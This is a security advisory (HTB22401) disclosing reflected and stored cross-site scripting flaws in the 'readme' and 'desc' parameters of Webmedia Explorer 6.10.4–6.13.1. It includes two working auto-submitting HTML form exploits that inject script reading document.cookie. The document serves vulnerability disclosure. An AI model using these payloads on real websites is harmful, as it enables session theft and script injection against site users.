Cross-site Scripting (XSS) Vulnerabilities in Webmedia Explorer

Advisory ID:HTB22401
Product:Webmedia Explorer
Vendor:Marc Salmurri
Vulnerable Versions:6.10.4 - 6.13.1 and probably prior
Tested Version:6.10.4 - 6.13.1
Advisory Publication:May 25, 2010 [without technical details]
Vendor Notification:May 25, 2010
Public Disclosure:June 8, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Scripting [CWE-79]
Risk Level:Medium
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
5 (AV:N/AC:L/Au:N/C:N/I:P/A:N)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Webmedia Explorer which could be exploited to perform cross-site scripting and script insertion attacks.

1) Cross-site scripting (XSS) vulnerability in Webmedia Explorer
The vulnerability exists due to input sanitation error in the "readme" parameter in includes/folder.class.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://host/folder/post_23/my-article.html" method="post" name="main" >
<input type="hidden" name="object" value="folder" />
<input type="hidden" name="desc" value="My Article" />
<input type="hidden" name="tags" value="webmedia" />
<input type="hidden" name="position" value="" />
<input type="hidden" name="readme" value='Hello WebMedia Explorer!"><script>alert(document.cookie)</script>' />
<input type="hidden" name="day" value="22" />
<input type="hidden" name="month" value="05" />
<input type="hidden" name="year" value="2010" />
<input type="hidden" name="hour" value="14" />
<input type="hidden" name="minute" value="21" />
</form>
<script>
document.main.submit();
</script>


2) Script insertion vulnerability in Webmedia Explorer
Input passed to the "desc" parameter is not properly sanitized before being stored in the database. A remote attacker can insert arbitrary HTML and script code, which will be executed in user`s browser in context of the vulnerable website when user views the malicious data.
Exploitation example:
<form action="http://host/folder" method="post" name="main">
<input type="hidden" name="object" value="folder">
<input type="hidden" name="desc" value='title"><script>alert(document.cookie)</script>'>
<input type="hidden" name="tags" value="">
<input type="hidden" name="position" value="">
<input type="hidden" name="readme" value="post txt">
</form>
<script>
document.main.submit();
</script>

How to Detect Cross-Site Scripting Vulnerabilities
Free Website Security Test
  • Non-intrusive GDPR Test
  • Non-intrusive PCI DSS Test
Try Free Test
ImmuniWeb® On-Demand
  • Complete GDPR Audit
  • Complete PCI DSS Audit
  • Remediation Guidelines
  • DevSecOps Integration
Learn More

Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22401 - https://www.immuniweb.com/advisory/HTB22401 - Cross-site Scripting (XSS) Vulnerability in Webmedia Explorer
[2] Webmedia Explorer - www.webmediaexplorer.com - Webmedia Explorer scans and indexes everything under a folder called "media" under the document root and builds a website automaticaly, generating file and folder listings, image galleries, message boards, news or simply text, anywhere it finds the corresponding data.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments
Add Comment


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Quick Start
Solutions
Get a Demo
Newsletter